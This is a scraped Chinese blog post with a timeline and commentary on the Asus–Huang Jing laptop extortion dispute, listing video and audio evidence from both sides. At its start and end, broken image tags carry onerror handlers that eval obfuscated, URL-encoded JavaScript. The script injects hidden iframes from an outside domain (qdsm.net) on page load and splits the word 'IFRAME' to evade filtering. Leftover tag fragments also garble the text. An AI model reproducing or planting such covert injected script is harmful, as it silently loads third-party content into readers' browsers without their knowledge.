0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

相信大家对最近的华硕与黄静事件都有所了解，大多数媒体和网友都偏向于同情黄静，以致于媒体标题都大量使用“女大学生”这个让人想入非非的词语。

但是，你不能因为黄静无辜地进了10个月的看守所就认为华硕一定是大魔头，也不能因为“敲诈”金额过高就判断黄静是个坏“女大学生”。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" height=274 alt="" src="http://lh4.ggpht.com/_RmRZZIr3Kws/SSih3OPnyKI/AAAAAAAACMA/foALMtxjre0/s800/v7n1-icon-lg.jpg" width=504 />

这篇文章展示的是，这件事的简介、时间线、黄静提供的视频证据、华硕提供的视频证据、双方电话录音、CCAV关于华硕事件的报道。

2006年2月

黄静花2万多购买了华硕的笔记本电脑，收据如下：

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" height=338 alt="" src="http://lh4.ggpht.com/_RmRZZIr3Kws/SSih2OkrGmI/AAAAAAAACL4/LB4prsRI_KY/s800/snap0858%E5%89%AF%E6%9C%AC.jpg" width=450 />

接着，黄静发现笔记本出现问题，送修华硕检修站。

后来华硕给黄静的笔记本换上了工程CPU，这个工程CPU是Intel给华硕用以测试使用，严禁流传到市面上。

黄静找到周成宇（某IT网站员工，有案底），周成宇发现这是工程CPU，于是准备向华硕提出赔偿。

2006年4月　

周成宇假冒律师和黄静一起向华硕提出赔偿要求

在第四次谈判的时候，xx出现，黄静因涉嫌敲诈勒索被检察院批准逮捕

2006年12月26日

检察院向黄静发出取保候审通知

2007年11月9日

检察院对黄静做出不起诉决定

2008年6月5日

黄静的代理律师向检察院提出国家赔偿申请

2008年6月16日

检察院做出审查刑事赔偿申请通知书

2008年10月26日

黄静决定起诉华硕

1、华硕方代表傲慢无礼至黄静落泪（黄静提供的视频）

2、黄静在维修站就维修事宜询问华硕工程师（黄静提供的视频）

3、华硕与黄静就500万美元赔偿进行谈判(1)（华硕提供视频）

4、华硕与黄静就500万美元赔偿进行谈判(2)（华硕提供视频）

5、华硕与黄静就500万美元赔偿进行谈判(3)（华硕提供视频）

6、华硕与黄静就500万美元赔偿进行谈判4)（华硕提供视频）

7、CCTV东方时空关于华硕事件的报道

这些视频在youku上的专辑地址：

1、黄静在与华硕沟通的电话上讲述打击华硕公关计划(1)

2、黄静在与华硕沟通的电话上讲述打击华硕公关计划(2)

3、华硕与黄静沟通打款退机事宜

或许你没有时间将视频、音频xx看完、听完，假设你看了，你会发现事情可能并不是你想象中那样。

建议你看看CCAV关于华硕事件的视频，周成宇提供给媒体的视频是经过删节的，在中国，我们都知道删节意味着什么，看看广电总局天天干的事就知道了。

在某一方面，这看起来有点像范跑跑事件。

我的看法是，华硕的做法与态度都有不对之处，但周成宇与黄静并不值得同情，不要在同情的基础上加上那10个月的看守所经历，我认为，他们的做法与勒索没多大区别。

双方都不是好鸟。

同时我想提醒一下将要进行评论的朋友，我不是任何一方的“抢手”，了解可能吧的人都清楚这一点，我凭我对这件事的了解作出以上的判断，少跟我提客观。

本文原文地址:

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">